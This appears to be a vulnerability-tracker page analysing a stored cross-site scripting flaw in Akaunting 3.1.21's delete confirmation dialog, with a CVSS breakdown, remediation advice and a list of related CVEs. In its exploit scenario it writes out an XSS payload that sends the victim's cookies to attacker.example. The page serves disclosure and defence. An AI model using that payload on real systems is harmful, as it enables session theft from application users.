Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with record-modification privileges
-
DeliveryInject JS payload into Item record name
-
ExploitVictim triggers delete confirmation dialog
-
ExecutionMalicious script executes in victim's browser
-
ImpactExfiltrate session token or perform authenticated actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be authenticated to Akaunting 3.1.21 and hold sufficient role-based permissions to create or modify records in modules that use the shared delete confirmation flow - explicitly, the Items module is confirmed in the description, and other record types using the same reusable component may also be affected. A second precondition is that a victim user (typically with higher privileges, such as an administrator, who would initiate deletions) must navigate to and trigger the delete confirmation dialog for the attacker-controlled record, causing the unsanitized name to be rendered in their browser context. Exploitation is therefore limited by: (1) the attacker's need for authenticated record-modification access (PR:H per CVSS), (2) passive victim interaction with the delete UI (UI:P), and (3) the specific Akaunting 3.1.21 release. Default installations where all users are trusted administrators reduce the privilege-escalation value of this attack. Multi-tenant or SaaS deployments where lower-trust users are granted item-creation roles represent the highest-risk scenario. |
| Impact | The CVSS 4.0 score of 4.8 (Medium) accurately reflects the constrained real-world risk profile. The PR:H metric signals that an attacker must already hold meaningful permissions within the Akaunting instance - specifically, the ability to create or modify records such as Items - which substantially limits the attack surface. The UI:P metric adds a further dependency: a second user must trigger the delete confirmation dialog for the poisoned record before the payload fires. Impact metrics (VC:L/VI:L and SC:L/SI:L) are consistent with a classic stored XSS outcome: limited session data disclosure and potential for low-integrity actions within the victim's browser context. No EPSS data was provided for this CVE, and it is absent from CISA KEV, meaning no confirmed active exploitation is known. The combination of high-privilege prerequisite, required victim interaction, and medium severity scoring positions this as a genuine but non-critical risk - higher priority in multi-tenant SaaS Akaunting deployments where untrusted users hold record-modification roles than in tightly controlled single-organization installations. |
| Exploit ScenarioDerived | An attacker with Item creation privileges in Akaunting logs in and creates a new Item record with a name containing a JavaScript payload such as '<img src=x onerror=document.location="https://attacker.example/steal?c="+document.cookie>'. When an administrator or another authenticated user navigates to delete that Item and the reusable delete confirmation modal renders the record name, the embedded script executes silently in the victim's browser, potentially exfiltrating session cookies or performing authenticated actions on their behalf. No public proof-of-concept code has been identified at time of analysis, but the attack technique is well-understood and the barrier to exploitation is low once the attacker holds record-modification access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Stored cross-site scripting in Akaunting 3.1.21 allows an authenticated user with record creation or modification privileges to embed malicious HTML/JavaScript into record name fields (such as Items), which subsequently executes in any other user's browser session when the reusable delete confirmation dialog renders that name unsanitized. The vulnerability is confirmed by Fluid Attacks security research and affects the shared delete confirmation component across multiple record types. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis, and the CVSS 4.0 score of 4.8 reflects the authentication barrier and required victim interaction as meaningful limiting factors.
RemediationAI
No specific vendor-released patched version was identified in the available data - the upstream fix version is not independently confirmed. Organizations running Akaunting 3.1.21 should monitor the project repository at https://github.com/akaunting/akaunting for a security release and apply it promptly when available. As a compensating control, restrict record creation and modification permissions (particularly for the Items module and similar record types) to the minimum set of trusted users, since the vulnerability requires PR:H access to create a malicious payload. Deploying a Content Security Policy (CSP) header that disallows inline script execution ('script-src' without 'unsafe-inline') would neutralize the XSS payload at the browser level, though this may affect legitimate Akaunting UI functionality and should be tested before production deployment. Additionally, review audit logs for unexpected record name values containing HTML tags as an indicator of attempted exploitation. The Fluid Attacks advisory at https://fluidattacks.com/es/advisories/human should be checked for any updated remediation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Akaunting is an open-source web-based accounting application (cpe:2.3:a:akaunting:akaunting:*:*:*:*:*:*:*:*). The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS): user-supplied input in record name fields is persisted to the database and later reflected into a reusable delete confirmation UI component without adequate output encoding or sanitization. Because the delete confirmation flow is a shared, reusable component across multiple record types (Items and potentially others), the injection point is not isolated to a single feature but propagates wherever that component is invoked. The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N confirms the attack is network-delivered with no special attack requirements (AT:N), but gated by high-privilege access and passive victim interaction.
Know when Akaunting gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Network-delivered stored XSS with scope change; PR:H reflects required record-modification permissions; UI:R for victim interaction; no availability impact.
Primary rating from Vendor (Fluid Attacks).
CVSS VectorVendor: Fluid Attacks
DescriptionCVE.org
Akaunting 3.1.21 contains an authenticated stored cross-site scripting vulnerability in the reusable delete confirmation flow. A user with permission to create or modify records, such as Items, can store HTML/JavaScript in the record name.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
An OS command injection vulnerability exists in Akaunting v3.1.3 and earlier. Rated critical severity (CVSS 9.8), this v
Akaunting version 2.1.12 and earlier suffers from a code injection issue in the Money.php component of the application.
Akaunting version 2.1.12 and earlier suffers from a password reset spoofing vulnerability, wherein an attacker can proxy
Akaunting version 2.1.12 and earlier suffers from an authentication bypass issue in the user-controllable field, compani
Akaunting version 2.1.12 and earlier suffers from a denial-of-service issue that is triggered by setting a malformed 'lo
Akaunting version 2.1.12 and earlier suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in pro
Akaunting version 2.1.12 and earlier suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in the
Improper authorization in Akaunting 3.1.21's BulkActions dispatcher allows authenticated low-privilege users to perform
Privilege escalation in Akaunting versions 3.1.21 and earlier allows any low-privileged authenticated user to self-assig
Server-side request forgery in Akaunting 3.1.21 allows authenticated attackers to manipulate the Invoice PDF Rendering c
Cross-site scripting (XSS) in Akaunting up to version 3.1.21 allows authenticated users to inject malicious scripts via
Stored Cross-Site Scripting in Akaunting 3.1.21 allows a high-privileged authenticated user with report creation or upda
EUVD-2026-38260
GHSA-rqfr-jhc5-r4q9
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB